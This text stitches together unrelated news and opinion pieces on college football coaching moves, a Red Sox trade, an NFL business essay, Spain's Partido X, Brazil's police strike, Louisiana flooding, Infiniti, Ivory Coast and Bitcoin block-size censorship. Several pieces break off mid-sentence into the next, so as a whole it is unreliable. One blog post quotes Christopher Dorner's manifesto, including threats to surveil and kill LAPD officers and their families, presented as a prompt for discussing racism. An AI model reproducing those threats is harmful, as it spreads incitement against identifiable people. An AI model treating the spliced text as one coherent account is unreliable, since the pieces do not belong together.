According to a source, ASU offensive line coach Chris Thomsen has accepted a job at Texas Christian under Horned Frogs' head coach Gary Patterson, departing the Sun Devils' program after four seasons. While Thomsen's specific role is still undefined, TCU lost one of its co-offensive coordinators to Kansas in recent days.
Thomsen becomes the second ASU offensive assistant coach to leave the program this week, as tight ends coach Del Alexander accepted a position coaching wide receivers at Notre Dame on Wednesday.
After losing five assistant coaches following the 2015 season, head coach Todd Graham will have at least three new coaches on staff in 2017 as wide receivers' coach Jay Norvell also departed ASU to accept the head coaching job at Nevada in December.
In the past two offseasons, Graham has now had to replace his offensive coordinator, running backs coach, wide receivers coach, offensive line coach, tight ends coach, defensive line coach, special teams coach, outside linebackers coach and defensive backs coach. Linebackers coach Keith Patterson is the only remaining coaches from Graham's 2014 staff. Earlier this week, Patterson was demoted from his role as defensive coordinator as Graham hired former Baylor defensive coordinator Phil Bennett in the same capacity at ASU.
Earlier this week, SunDevilSource reported that Thomsen had been offered the offensive coordinator position at Memphis under head coach and former ASU offensive coordinator Mike Norvell, but that Thomsen had temporarily elected to stay put at ASU. On Friday, however, Thomsen agreed to pursue the opportunity at Texas Christian, one day after Kansas hired former Horned Frogs' co-offensive coordinator Doug Meacham to become its offensive coordinator.
The Kansas offensive coordinator position became open earlier this offseason when former offensive coordinator Rob Likens left the Jayhawks' program to become the wide receivers coach at ASU.
The decision to take the job at Texas Christian allows Thomsen to return to his alma mater, where he played football for three seasons (1988-1990) and baseball for one season. An All-America selection on the diamond, Thomsen was a 17th round draft choice of the Oakland Athletics and the Horned Frogs' Male Athlete of the Year in 1991.
During his tenure at ASU, Thomsen helped five offensive linemen earn All-Pac-12 honors, including First Team All-Pac-12 selections Jamil Douglas and Evan Finkenberg, Second Team All-Pac-12 selections Christian Westerman and Nick Kelly and All-Pac-12 Honorable Mention guard Vi Teofilo.
In Thomsen's first season at ASU in 2013, the |
later.
Byrd broke the news of his own trade to ESPNChicago.com's Bruce Levine, with the clubs both announcing the deal officially Saturday night.
The 35-year-old outfielder, who has also played for the Philadelphia Phillies, Washington Nationals and Texas Rangers, is an 11-year veteran and experienced center fielder with a.278 batting average. But he had just three hits in his first 43 at-bats with the Cubs this season (.070), with no extra-base hits and 10 strikeouts.
"He's been a good major league center fielder for a long time and he's off to a tough start,'' said Red Sox general manager Ben Cherington, who spoke with reporters late Saturday night. "Our hope is that a change of scenery and in a new environment we can get him going to help us and give (manager) Bobby (Valentine) another option in the outfield."
The Cubs will send cash covering nearly all of Byrd's pro-rated $6.5 million salary. To make room for Byrd on the roster, the Sox designated Nate Spears for assignment.
Byrd did not play in Chicago's game against the Cincinnati Reds on Saturday afternoon.
The trade took on added urgency when Red Sox outfielder Jason Repko went down with what Valentine described as a slight separation of his left shoulder, an injury incurred when Repko ran into the center-field wall Friday.
Cubs GM Jed Hoyer said Repko's injury did not directly lead to the trade.
"No, we've been talking to them since the end of spring training," Hoyer said in a conference call with Chicago media. "We've been trying to get relief pitching. In trading Marlon we felt we had outfield depth with some young guys that can play the position."
The Red Sox already have two elite outfielders on the disabled list, Jacoby Ellsbury and Carl Crawford. Repko was projected as a stopgap until Crawford's return, which is believed to be still a couple of weeks away.
"Obviously with Ellsbury out and Crawford still coming back, we felt there was a need to add to the outfield,'' Cherington said. "I think he knows he has to come in and perform to play, but it's a fresh start and I think he's excited to be here and we're excited to have him.''
Cherington acknowledged the difficulty of finding outside help at this time of year, which explains in part why the Sox are adding a player who has performed this season as poorly as Byrd has to date.
"We don't think his performance so far this year is reflective of who he is -- he's been a pretty consistent performer -- but teams are not anxious to give away good players this time of year, players who are helping them and are part of their future. It's a challenging time to make trades, but we felt this was a good fit for the team, made sense for the Cubs and Red Sox, and hope Marlon can help us.''
Last May 21, Byrd was struck near the left eye by a pitch by Red Sox reliever Alfredo Aceves and sustained multiple facial fractures, missing 39 games. At the time he was hurt, Byrd had posted a.308/.346/.419 line. After returning July 2, Byrd hit.255/.311/.380 for the rest of the season.
"He came back pretty quickly from it and performed pretty well when he first came back,'' Cherington said, when asked about the impact of the beaning. "And then he tailed off a little bit at the end of the season. I don't know. It's hard for me to answer that one. But physically, he's fine, he's passed all the tests. From a scouting standpoint, there's no obvious change in skills except his performance hasn't been there.
"We get to know him better when he gets here and we get him in the lineup and try to get him going.''
Bowden was once regarded as a promising prospect, first as a starter, then as a reliever, with brief stints in the majors in each of the last four seasons. But the Red Sox designated him for assignment on April 15, even though they have the highest earned run average in the major leagues.
"This underscores (Bowden's) slow start," Hoyer said. "Small samples shouldn't cloud your opinion on a player. We've known him since 2005. He's a local kid. I know he's excited to be coming to Chicago."Last week, we sat down with Jamie Carragher for Graham Hunter’s latest podcast. Our previous encounter with the Liverpool legend was in Madrid in March of last year. We were in Spain to film some videos with Graham to accompany his Spain book, and also take in the Spain v Italy friendly, notable for being Diego Costa’s debut.
Jamie was in town to interview Xavi Hernandez for the Daily Mail and Graham was on translation duties. We all sat round a table in Las Rozas – Spain’s national training centre in Madrid – while Xavi and Jamie chatted football. It wasn’t the worst moment of my life.
Jamie’s inquisitive nature and strong interest in Spanish football came through. Afterwards, we asked Jamie if he wouldn’t mind doing an interview with us, to help publicise Graham’s Spain book. He agreed. Trouble was, our film crew were in the next room interviewing Pepe Reina. So, I filmed it on our company’s iPad.
Here is my debut as a cameraman. I think you’ll agree that the content of the interview is far superior to the filming. The video last just over five minutes, but Graham felt he had only scratched the surface of what he wanted to ask Jamie. So, it was only natural that we should get him on the podcast. Enjoy!
You can also listen to the podcast on iTunes If you enjoy, please leave a short review – and spread the word. We appreciate it.
Martin BackPageby Maria Lloyd
In a lengthy manifesto, former LAPD officer Christopher Dorner attempts to explain the core of his violent actions. Throughout the manifesto, he references racism, disappointment, and revenge. He explains his well-to-do upbringing, where he was only one of two African-American students in his elementary class. He also explains his first encounter with racism in the first grade. Then he goes into what brought him to where he is today — a runaway fugitive who is wanted for murdering the daughter and future son-in-law of a retired LAPD captain who sat on the board that terminated him for reporting the unethical acts of another officer and for shooting three LAPD officers, killing one.
According to a study conducted by Lorena Estrada-Martinez, assistant professor at the Brown School at Washington University in St. Louis, different types of stress, particularly from racial discrimination, can influence the risk for violent behaviors and depressive symptoms in African-American young adults. “African-American youth who were at greatest risk for engaging in violent behaviors while transitioning into adulthood were those who experienced higher levels of racial discrimination in addition to general daily stressors. Contrary to expectations, stress that stemmed from financial shortage and neighborhood stress were not associated with the risk of violent behaviors during emerging adulthood,” Estrada-Martinez says. Assuming his manifesto is truthful, is it safe to assume that years of discrimination may have caught up with Dorner?
Read excerpts from his manifesto below (officers’ names were removed out of respect for their privacy):
On the racist culture of the LAPD: […] The department has not changed since the Rampart and Rodney King days. It has gotten worse. The consent decree should never have been lifted. The only thing that has evolved from the consent decree is those officers involved in the Rampart scandal and Rodney King incidents have since promoted to supervisor, commanders, and command staff, and executive positions. On being called a n*gger by a fellow officer/co-worker: […] The sad thing about this incident was that when Detective XXXX from internal affairs investigated this incident only (1) officer (unknown) in the van other than myself had statements constistent [sic] with what actually happened. The other six officers all stated they heard nothing and saw nothing. Shame on every one of you. Shame on Detective XXXX (same ethnicity as XXXX) for creating a separate 1.28 formal complaint against me (XXXX complaint) in retaliation for initiating the complaint against XXXX and XXXX. Don’t retaliate against honest officers for breaking your so-called blue line. I hope your son XXXX, who I knew, is a better officer than you, Detective XXXX. The saddest part of this ordeal was that Officer XXXX and XXXX were only given 22 day suspensions and are still LAPD officers to this day. That day, the LAPD stated that it is acceptable for fellow officers to call black officers n*ggers to their face and you will receive a slap on the wrist. Even sadder is that during that 22 day suspension XXXX and XXXX received is that the LAPPL (Los Angeles Police Protective League) paid the officers their salaries while they were suspended. When I took a two-day suspension for an accidental discharge, I took my suspension and never applied for a league salary. Its called integrity. On his first encounter with racism: […] Find any incidents where I was ever accused of being a bully. You won’t, because it doesn’t exist. It’s not in my DNA. Never was. I was the only black kid in each of my elementary school classes from first grade to seventh grade in junior high and any instances where I was disciplined for fighting was in response to fellow students provoking common childhood schoolyard fights, or calling me a n*gger or other derogatory racial names. I grew up in neighborhoods where blacks make up less than 1%. My first recollection of racism was in the first grade at Norwalk Christian elementary school in Norwalk, CA. A fellow student, XXXX if I can recall, called me a n*gger on the playground. My response was swift and non-lethal. I struck him fast and hard with a punch an kick. He cried and reported it to a teacher. The teacher reported it to the principal. The principal swatted XXXX for using a derogatory word toward me. On the LAPD victimizing minorities: […] Terminating officers because they expose a culture of lying, racism (from the academy), and excessive use of force will immediately change. PSB can not police their own and that has been proven. The blue line will forever be severed and a cultural change will be implanted. You have awoken a sleeping giant. I am here to change and make policy. The culture of LAPD versus the community and honest/good officers needs to and will change. I am here to correct and calibrate your morale compasses to true north. Those Caucasian officers who join South Bureau divisions (77th,SW,SE, an Harbor) with the sole intent to victimize minorities who are uneducated, and unaware of criminal law, civil law, and civil rights. You prefer the South bureau because a use of force/deadly force is likely and the individual you use UOF on will likely not report it. You are a high value target. Those Black officers in supervisory ranks and pay grades who stay in south bureau (even though you live in the valley or OC) for the sole intent of getting retribution toward subordinate caucasians officers for the pain and hostile work environment their elders inflicted on you as probationers (P-1′s) and novice P-2’s. You are a high value target. You perpetuated the cycle of racism in the department as well. You breed a new generation of bigoted caucasian officer when you belittle them and treat them unfairly. His warning to LAPD officers: […] No one grows up and wants to be a cop killer. It was against everything I’ve ever was. As a young police explorer I found my calling in life. But, As a young police officer I found that the violent suspects on the street are not the only people you have to watch. It is the officer who was hired on to the department (pre-2000) before polygraphs were standard for all new hires and a substantial vetting in a backround investigation. […] Suppressing the truth will leave to deadly consequences for you and your family. There will be an element of surprise where you work, live, eat, and sleep. I will utilize ISR at your home, workplace, and all locations in between. I will utilize OSINT to discover your residences, spouses workplaces, and children’s schools. IMINT to coordinate and plan attacks on your fixed locations. Its amazing whats on NIPR. HUMINT will be utilized to collect personal schedules of targets. I never had the opportunity to have a family of my own, I’m terminating yours. XXXX, XXXX, XXXX, and BOR members Look your wives/husbands and surviving children directly in the face and tell them the truth as to why your children are dead. […] The Violence of action will be HIGH. I am the reason TAC alert was established. I will bring unconventional and asymmetrical warfare to those in LAPD uniform whether on or off duty.
This is no attempt to support the violent actions of Dorner; however, this is an attempt to open the floor for conversation about racism and its damaging affects. If America does not discuss racism head-on, society will continue to cultivate more Chris Dorner’s. Racism brings forth feelings of anguish, betrayal, and frustration. Anyone who has frequently been on the receiving end of racial discrimination has felt like Dorner at one point and time. Fortunately, most victims of racial discrimination have managed to exert their frustrations in a non-violent/non-life threatening manner, but the more we continue to pretend as if racism does not exist, the more violence will erupt. You can read the whole manifesto by clicking here.
Do you believe Dorner’s actions are the result of racism?
Maria Lloyd (@WritingsByMaria) is the Business Manager for the Your Black World Network and Dr. Boyce Watkins. She is a graduate of Clark Atlanta University and an advocate of dismantling the prison industrial complex, increasing entrepreneurship, reforming education, and eradicating poverty.This is a very boring, simple explanation as to why the NFL’s ratings are declining. It is not an opportunity for you to shoehorn in your feelings about Colin Kaepernick protesting the game. No one really cares about your feelings about Colin Kaepernick’s protest, because if you are the kind of person who gets really offended by Colin Kaepernick’s protest, then your feelings in 2017 are the most boring and predictable thing about you, and telling on you in a deeply unflattering light.
The simpler and also boring systemic problem with the NFL that might actually explain something is its success, and how that success made the ownership class in the NFL fat, lazy, and locked into a business model they have no real reason or incentive to change, even with falling TV ratings.
The absence of real risk of failure is a start. Stakeholders in the NFL cannot lose—at least not under the league’s current structure. Owners split money from the league’s massive TV deals and other media revenue streams. That stream is so dependable, so huge, and so guaranteed that it’s done what large, intractable pools of cash have done since the invention of markets. It has altered and distorted the very thing that created it, and broken the basic exchange between consumer and seller that made the NFL successful in the first place.
It’s a form of laziness, and a special kind different from the standard laziness in the NFL. Laziness bred from prosperity isn’t a new problem for NFL ownership and management. For every old-school Rooney or Mara or Hunt family intent on making at least an honest show of competing, producing a good product, and paying at least paltry attention to the demands of the consumer, there has been a Culverhouse or a Smith, owners who ran their franchises with the least possible effort and expenditure. The slumlords of the NFL took their rent, often without providing anything close to a finished building.
Note: This may be literally true of the 1970s and 1980s Buccaneers, whose stadium sort of looked like concrete that never set exactly right, so they just went with it and said, “yeah, it’s supposed to be shaped like a melted frisbee.” What you call a mistake, the 1970s called architecture.
That approach towards maximizing your dollar with the bare minimum of effort became more sophisticated over time. As the league’s revenues boomed, they became something less like points of civic pride run as passion projects by the locally wealthy, and something more like attractive investment properties with a promising rate of return for billionaires — particularly those billionaires who entered the NFL as strangers to the league, but as intimate familiars of a corporate culture dependent on squeezing every profitable dollar, and trimming every wasteful one from the budget.
For instance: The legend of Dan Snyder tells a story of someone who was “passionate” about the Washington franchise on a personal level. It sometimes leaves out his ruthless economizing of the franchise, a focus on the bottom line interrupted periodically by splashing free agent signings to keep fans semi-interested in the team. That he keeps them in the worst stadium in the league, charges for everything short of oxygen, and rolls out a consistently mediocre product doesn’t matter: His great gift as an NFL owner, after nearly 20 years, has turned out to be a deep understanding of knowing exactly how little actual quality he could slip into the product without breaking the customer’s dependence completely.*
*Side note: Dan Snyder would be an amazing MDMA dealer.
That level of sophisticated coasting in the name of profitability became a laudable thing for owners. Jerry Jones, in particular, emphasized profitability and value for the league, leaning hard on new television contracts, stadium deals, corporate tie-ins, and whatever else he could grab in order to boost the value of the Cowboys to its limit. The momentum for moving the Raiders — one of the league’s oldest recognizable brands, with one of its most insanely loyal fanbases — from Oakland to Las Vegas came largely from Jones, and mostly for the holy grail of profitability. Jones is the crowning example of the NFL’s gargantuan gains in the financial weight room: Since buying the Cowboys for $140 million in 1989, Jones has grown the value of the franchise to $4.2 billion. The team makes a publicly declared $227 million a year.
The NFL was able to do this because, at a certain point, wealth outstrips the power of the assets that created it. In 2017, the league split over $7.8 billion between teams. The money and the success the league enjoyed became so huge that they attained their own gravity, and became separate from the main product that built the league in the first place: professional football.
That separation of the product from the wealth it creates should be familiar to any American consumer. A large company takes control of an entire economy, becomes so large it cannot fail, and thus has no real incentive to do anything but seek rent on that endless, belching pipeline of cash. The product produced generally does not improve, and often without the pressure of competition doesn’t have to improve at all. It might even get worse, or at least watch things like customer service and satisfaction take nosedives.
It’s not exactly a monopoly, but it’s also not-not exactly a monopoly, either.
The value in that kind of behavior doesn’t come from the product. That flatlined in terms of utility a long, long time ago. (The Patriots remain unusual for not only trying, but trying intelligently to produce a good product.) An NFL owner no longer needs that to continue to boost the value of the franchise using anything that happens on the field. Value comes from getting a new stadium someone else paid for, moving the franchise to a more valuable piece of real estate and doubling the value of the franchise overnight. Value comes from leveraging and re-leveraging your existing assets, not by creating anything new.
If you see an NFL franchise as just another asset to be maximized and squeezed for every dime, being good at football — i.e. producing a good product — doesn’t matter. It’s not even rational to put effort towards anything but “value creation,” i.e. shuffling around pieces of the franchise until they sit in the most profitable positions. The Rams doubled their value overnight by leaving St. Louis and moving to L.A. They are a miserable football team run by a despised owner playing in an empty stadium, but the Rams could care less. The fourth most valuable team in the NFL sucks by design, and shines bright enough on the balance sheet to eliminate any real concerns about how bad the product is on the field.
The Rams, the 49ers, and the Washington team are all in the top 10 most valuable NFL franchises. There are other reasons for that besides their efficient disinterest in making a good on-field product — the real estate and cost of doing business in expensive places like L.A., the Bay Area, and D.C. being a huge one — but the lesson for anyone acquiring an NFL team as an asset is pretty clear. Strip the place to the frame, gorge on TV money, and only do the bare minimum to keep people interested.
That distancing of the product — and its overall quality as an experience — from revenue makes for a dysfunctional exchange between the consumer and the producer.
What does that mean, exactly? It means that because the Rams don’t have to worry about quality, they can slog into the Coliseum, wait for a new stadium to be built, and bill themselves as a content company while playing in front of hundreds of bored fans. It means that being good, for a lot of teams, is an accident, or a periodic spasm to regain fan interest spaced between long troughs of minimal effort.
*The NFL is you at work! Congrats, you too could be America’s most successful sports enterprise.
This explains why the NFL now functions less like an open market business, and more like a cartel. (Not a cartel exactly, economics pedants, but cartel-ish.)
A cartel really doesn’t care what you want. It knows what you need, and has it. All behaviors from that point forward only protect the cartel and its control of supply and delivery. There will be no innovation, no new ideas not in service of that maintenance of revenue streams, and no serious competition between cartel members. In fact, they’ll all cut the quality of the product wherever possible to take home the most possible cash.
The NFL isn’t alone in this in sports, and not even in football, either. The disease of guaranteed revenue has bitten college football, too. Texas, the most profitable athletic program in the nation, is a prime example of the strange incentives huge profits can create within a sports franchise. The more money the program makes, the less consistent or important the quality of the product has been to the priorities of those at the top running the cash machine.
But as the most popular sport in America — and one that pools profits — it is the most visible, and most visibly prone to this leveling by the demands of the spreadsheet. Even a distancing by slight degrees, like turning your basic exchange from one of fans opting into an experience into one of a television product given to captive subscribers, is enough to change how ownership behaves.
There is a structural reason live audiences aren’t even necessary anymore: Ticket sales make up such a shrinking percentage of team revenue that the Rams and 49ers might as well play on sound stages, if you think they don’t already. The distance between the sport and the mammoth business it built will only grow, and in that space will be those who loved the NFL, but now watch the condensed version of the NFL on RedZone, and those who make it begrudgingly while looking to the next successful investment opportunity.
That next something might be something like eSports, which the owner of the Patriots just dropped $20 million on via investment in an Overwatch league. When will we know eSports made it? When there are commercial breaks after load screens, fights over gaming arenas being paid for with public money, and a class of owner looking for nothing more than the next grandiose and guaranteed font of cash. eSports is lucky, for the moment: Kraft seems to enjoy making a quality product. It’s when the Haslams and Stan Kroenke* show up that gamers should panic.
*Okay, go ahead and panic, gamers. Stan Kroenke is already there.Video: Superman spotted in Ireland...looking for Sixmilebridge
Is it a bird? Is it a plane? No, it’s Superman. And he is looking for Sixmilebridge.
By Declan Whooley
The driver in the video reacts in a calm manner when his window is banged while driving, with a fresh-faced Clark Kent flying outside his window.
The ageless Superman is simply looking for Sixmilebridge. While directions generally come second nature to the superhero, maybe his grasp of county Clare geography is not what it could be.
Wayne Lee is the man behind the cape and plays the role to perfection, flying off once he has the information he was looking for.
We’re not sure if he was looking for Lois Lane, or simply just to do a bit of sight-seeing, but we hope Superman got what he was looking for in the Banner county.
Cheers to Raymond Kerley for sending this our way on Facebook.In Puerta del Sol square, in the heart of Madrid, a group of pensioners armed with megaphones had gathered to angrily denounce the government's failure to protect their savings. Nearby, past the street hawkers and the tourists, a young man quietly entered the fourth day of a hunger strike.
These two small-scale protests this month show that anger in Spain – at corruption, recession, debt, the lost generation – has scarcely abated since a group calling themselves the "indignados" occupied Puerta del Sol in May 2011. Now, a new political party, Partido X, has emerged from the protests, with the intention of breaking the hegemony of the People's party (PP) and the Spanish Socialist Workers party (PSOE) that have taken turns to run the countryfor the last 30 years.
"In Spain there is a political class that, at best, doesn't understand the needs of civil society, and at worst is completely corrupt and bankrupt. They have to go," said Simona Levi, a theatre director, actor and longtime political activist who has become something of a spokeswoman for the party.
The PP and PSOE have lost millions of voters since the crisis began five years ago, and it is this space that Partido X wants to occupy. The careers of the prime minister, Mariano Rajoy, and the PSOE leader, Alfredo Pérez Rubalcaba, were formed in the 1980s, when the country was firmly divided between left and right. Their rhetoric is that of two old boxers, endlessly trying to knock out their opponent and unaware that many have long since tired of watching them fight.
"They are dead. It's just no one has bothered to give them the death certificate," said Gonzalo Boye, editor of the satirical magazine Mongolia. "Spain is the Titanic and the government is the musical band."
Jorge Arzuaga continues his hunger strike in Plaza del Sol. Madrid. Photograph: Vallejo/Demotix/Corbis
The chief focus of attack is corruption. Listing the number of open investigations into financial and political corruption is almost impossible. At national and regional level, at least 130 politicians of all stripes are facing charges ranging from pillaging state coffers to handing family members plum jobs. But that barely scratches the surface, and is reflected in the social standing of politicians, with poll after poll putting them at the bottom of the ladder.
The hunger striker, Jorge Arzuaga, who was with the indignados at the start of their heady journey, said the venality of the entire political class is the target of his anger. "It is my way of saying I've had enough of this corrupt government. Every day the situation gets worse, and it's time for change," he said.
Partido X is positioning itself as a force for such change. Like many young parties, it is light on policy proposals in some areas, but says it has its sights set on tackling corruption with a "Nuremberg-style trial for bankers" and a dedicated anti-fraud unit, and to bring in more participatory democracy, with regular referendums.
The party promises to provide financial aid for Spain's small businesses, increase the minimum wage and introduce a maximum wage so no boss can earn more than 10 times his or her staff. These, and various other measures, may earn a shake of the head from the financial sector, but could appeal to those who have been left on the margins.
Unlike the traditional parties in Spain, Partido X understands the power of the internet, and its members have been using social media to spread their message and gather funds as well as ideas.
Simona Levi, right, and fellow Partido X member Joaquin Pagola formally unveil the party at a press conference in Madrid. Photograph: Gerard Julien/AFP/Getty Images
The party refuses, however, to be drawn on whether it is of the left or right. It describes itself as "progressive", a rejection of old-style politics. Partido X has not yet committed to putting forward candidates in next year's European elections or Spain's general elections in 2015, but believes it could have millions of supporters by then.
Its aim, said Levi, is not just to get "one poor soul elected in order to send them to Brussels to waste their time". The party hopes for 25% of the vote, which most observers say is fanciful. But with so many disaffected voters, Partido X believes its time has come.
Levi said the party was still in the process of drawing up its programme, but added: "In all elections from now on, the voice of the people will be heard. We are working on our policies, listening to our supporters, and then we will find the right people to stand."
Asked whether the party was Eurosceptic, she said: "We are following our route map, and if Angela Merkel doesn't like what we have to say, that's up to her. Maybe Germany will be the only country left in the euro."
Many have drawn comparisons with the Five Star movement led by the comedian Beppe Grillo, which stormed the Italian elections last year. Levi, who was born in Italy, agrees there are some similarities, and that the two groups have been in contact, but says Partido X is keen to avoid being led by a populist, charismatic leaderand sees itself as a "party of, and for, the citizens of this country".
Partido X may eschew traditional forms of leadership, but Levi is an increasingly recognisable face, and the party has the support of Hervé Falciani, the former HSBC employee who blew the whistle on tax evasion in Switzerland. On board as an adviser is Tarso Genro, the governor of the Brazilian state Rio Grande do Sul and an ally of ex-president Luiz Inácio Lula da Silva.
The sociologist Alejandro Navas, from the University of Navarra, has studied the indignados and understands the appeal in a country where youth unemployment has forced many educated Spaniards to leave. "We tell young people the world is theirs, but then the adult world doesn't allow that to happen. There is a shortage of jobs, and the ones that are out there often have low salaries and short-term contracts."
There is a contradiction inherent in Spain, said Navas: "Young people reject politicians, but they also expect a lot from the state. There is a lot of pessimism and resignation, which it will be hard to break." He is equivocal about whether Partido X can break that mood, and whether its activist base can come to terms with mainstream politics. But, he said, "change will only come from the ground up, from small parties and organisations."The Brazilian army has said that it will deploy more troops, armoured vehicles and military aviation to a southeastern state to fill a security vacuum where the police force has been on strike for a week.
A wave of violence and crime in Espirito Santo has claimed more than 100 lives so far, which is a major rise from the four murders recorded in all of January.
The announcement on Thursday came a day after Cesar Colnago, the state governor, said that the 1,200 soldiers who arrived earlier this week were not enough to help end the rampant unrest, which started after police left their posts on Friday in protest over wages and work conditions.
"From now on, I have decided to reinforce ES with paratroopers, armoured vehicles and army aviation. The mission will be accomplished," General Eduardo Villas Boas, Brazil's army commander, said via Twitter on Thursday.
Wave of muggings
Brazil's Globo television network quoted the police union in Espirito Santo saying that more than 100 people have now been killed in a wave of muggings, carjackings and looting in the capital city Vitoria and elsewhere.
Relatives and sympathisers of striking officers are blockading police stations, and officers inside are deliberately making no effort to come out - leaving the city unguarded.
The website of the Colnago's office said talks had been held with the police, but with no result.
It also issued an appeal on Thursday for blood donors, saying stocks "have been reduced to a minimum in the last few days".
The police want better conditions and higher salaries. A court declared the action an illegal strike and the state police chief has been replaced.
Meanwhile, there were continuing fears and rumours in Rio de Janeiro, Brazil's second most populous city, that police could start a copycat strike on Friday.
Officials have said they are working on paying officers late salaries and that no strike is planned. However, persistent rumours on social media have struck a nerve.
State Governor Luiz Fernando Pezao told Radio Gaucha in an interview early Thursday that he had asked the federal authorities to put the army and elite National Public Security Force on standby, in case the situation deteriorates, Globo television reported.
OPINION: The fight for Brazil's future
Rio has recently faced violent protests against austerity reforms, stretching police resources.
The crisis reflects nationwide budget crises in Brazil, blamed on corruption, which has faced a crippling recession for two years and is struggling to return to growth.
The country is also one of the most violent in the world, with heavily armed criminals battling both on the streets and in prisons.
Last month, clashes inside a prison near the northern city of Natal left 26 people dead, prompting the deployment of army troops.Nearly 7 trillion gallons of water have thrashed Louisiana over the past week. Since the torrential rainfall and flooding started August 8, more than 40,000 homes have been damaged. Governor John Bel Edwards asked volunteers to help clear the debris and shovel mud from homes, saying on Tuesday, “Not everyone can do this on their own.”
CNN crunched the numbers to illustrate the severity of the damage caused by this 500-year flood and estimated that the sheer volume of water is enough to fill more than 10.4 million Olympic-sized swimming pools. The community of Watson was hit the hardest with about 31 inches of rain falling in the early hours of the morning.
So far, according to the governor’s office, 11 people have died as a result of the flooding. On the bright side, 20,000 residents and 1,000 pets have been rescued thanks to the combined efforts of the Coast Guard, National Guard, EMTs, and brave bystanders.
According to the National Oceanic and Atmospheric Administration, a flood this destructive customarily only comes around about once every 500 years. As rare as this natural occurrence may seem, five other 500-year floods have happened across the country since last August. In Louisiana’s case, 12 parishes have been categorized as disaster areas by the Obama administration, with 12 more requesting the designation and emergency assistance.
For those beginning the cleanup process, an image has been circulating on Instagram that offers helpful advice for homeowners.Roland Kr ger has skied to the South Pole. Twice. The second time, solo. Spending 55 days on skis, tackling an unrelenting uphill slog from sea level to more than 9,000 feet across the vast, white, empty underbelly of the planet, is something that requires gritty determination, stoic self-reliance, and unwavering self-belief. Which probably makes Roland Kr ger well-suited to being the man now running Infiniti.
Infiniti started life in 1985 as Project Horizon, a task force set up inside Nissan to create a new luxury performance brand for the U.S. market. The Infiniti brand was announced in 1987, and its first car, the Q45 sedan, was launched in 1989.
The Q45 was equally as sophisticated and well-built as the Lexus LS 400 that was launched the same year, and it was also more entertaining to drive. But while the LS 400 is remembered as the car that sent Mercedes-Benz into a tailspin, forcing expensive last-minute engineering changes to the W140 S-Class, the Q45 is mostly remembered for having an ad campaign that didn't show the car and a badge like a Texas belt buckle instead of a grille.
View 22 Photos
Nissan, like Toyota, had spent a lot of time, talent, and money developing a sedan that in terms of technical expertise and quality execution was the equal of anything from the luxury car establishment. Only problem was, like Toyota, Nissan didn't truly understand what it had labored so mightily to create. Before long the Infiniti badge had been slapped on quotidian Pathfinders and Primeras gussied up with wood 'n' leather interiors.
Rebuilding the Infiniti brand DNA is going to take consistency over a long period of time.
Luxury is where the real money is in the car business these days. Luxury or premium brands only total 10 to 12 percent of overall vehicle sales worldwide, but they account for a hefty 50 percent of global auto industry profits. The math is compelling: With a few notable exceptions, there is a surprisingly small difference between a luxury car and a rental lot queen in terms of basic design, engineering, hardware, and manufacturing costs.Image caption There have been violent clashes in Abobo for nearly two weeks
Parts of Ivory Coast's main city of Abidjan resemble a "war zone", the UN refugee agency head in the West African nation, Jacques Franquin, told the BBC.
The UNHCR has suspended plans to open a camp in the west for those fleeing the violence because of safety concerns.
"The situation is deteriorating rapidly," Mr Franquin said.
Tensions have been rising since President Laurent Gbagbo refused to hand power to Alassane Ouattara, widely seen as the winner of November's poll.
Mr Franquin comments come as UN peacekeepers in country say they are overstretched and cannot provide security for all civilians.
Violent clashes
On Thursday, security forces shot dead at least six women marching in support of Mr Ouattara in Abidjan's northern Abobo neighbourhood.
"We are overstretched in terms of patrolling. We conducted over 865 patrols last week. You can't be in every corner of the city," UN spokesman Hamadoun Toure told the BBC.
Ivory Coast World's largest cocoa producer
Once hailed as a model of stability, slipped into |
with him tearing three ligaments in his knee his return for next season is questionable to begin with. Even if he does return, he likely won’t be ready for a more significant role on the team.
Play Fanspeak’s NFL Pick’ems for FREE! Pre-register HERE!A (brief and incomplete) history of censorship in /r/Bitcoin
John Blocke Blocked Unblock Follow Following Nov 13, 2016
Please do not use the censored /r/bitcoin or Bitcointalk. Use /r/btc instead.
The free and open discussions on this forum help individuals and the Bitcoin community achieve Truth. Everyone has some wisdom or knowledge to contribute to a discussion, and everyone who reads the discussion and gains that knowledge gets closer to the Truth. This is much more effective than having truth dictated by a handful of moderators or voted on by an electorate.
-Theymos, in a post on Bitcointalk in 2013.
Anyone who has been following Bitcoin closely over the past couple of years should by now be well aware of the issues being debated and the existence of censorship in some of Bitcoin’s most prominent communities. For the unaware, a primer:
The Bitcoin network is currently at max load, and today is capable of processing approximately three transactions per second. This was not part of the original design of the Bitcoin protocol, and the 1MB block size limit was added in 2010 by Satoshi Nakamoto himself as a temporary anti-spam measure.
Because bitcoins were so cheap at the time, and the number of bitcoin users so few, making transactions on the bitcoin network was effectively free. The concern was that a malicious entity could simply flood the network with transactions, filling up blocks and bogging down transaction speeds for legitimate users. Because transactions were so cheap to make, such an attack would have cost the perpetrator very little to pull off, and could have crippled the entire bitcoin network while it was still in its infancy. Former bitcoin lead maintainer Gavin Andresen addressed this attack in a blog post, writing:
The block reward was 50 BTC back then, so miners could sell a block’s worth of coin for about $1.50. That gives a rough idea of how much it would cost an attacker to produce a ‘poisonous block’ to disrupt the network– a dollar or two. Lots of people are willing to spend a dollar or two “for the lulz” — they enjoy causing trouble, and are willing to spend either lots of time or a modest amount of money to cause trouble.
Today the block reward is 25 BTC and the price is over $400; miners get over $10,000 for the blocks they produce. An attacker would have to spend close to that amount to produce a ‘poisonous block.’
But even this one megabyte limit was hardly restrictive; at the time the average block size ranged from 200 bytes to occasional peaks of around one kilobyte. The one megabyte limit was meant to handle new user influx and peak period transactions up to several thousand times what the average daily transaction volume was at the time. In October 2010, Satoshi Nakamoto even laid out his plan for increasing the maximum block size:
It can be phased in, like:
if (blocknumber > 115000)
maxblocksize = largerlimit
It can start being in versions way ahead, so by the time it reaches that block number and goes into effect, the older versions that don’t have it are already obsolete.
Pretty simple, right?
One would think. Since the limit was introduced in 2010, there have been countless discussions on the necessity as well as the methods that would be used to increase this limit, and Bitcoin’s transaction processing capabilities with it. Those attempts have repeatedly been blocked by a small group of developers, and in recent years discussion of increasing the limit has been censored from some of Bitcoin’s largest discussion forums, all of which are moderated by the same individual, who posts using the handle Theymos. What is forbidden includes any discussion of code changes that propose increasing the limitation.
Some don’t believe the censorship is problematic, or refuse to acknowledge that it is censorship at all. Here’s Blockstream CEO Adam Back:
And Blockstream CTO and Bitcoin Core developer, Gregory Maxwell:
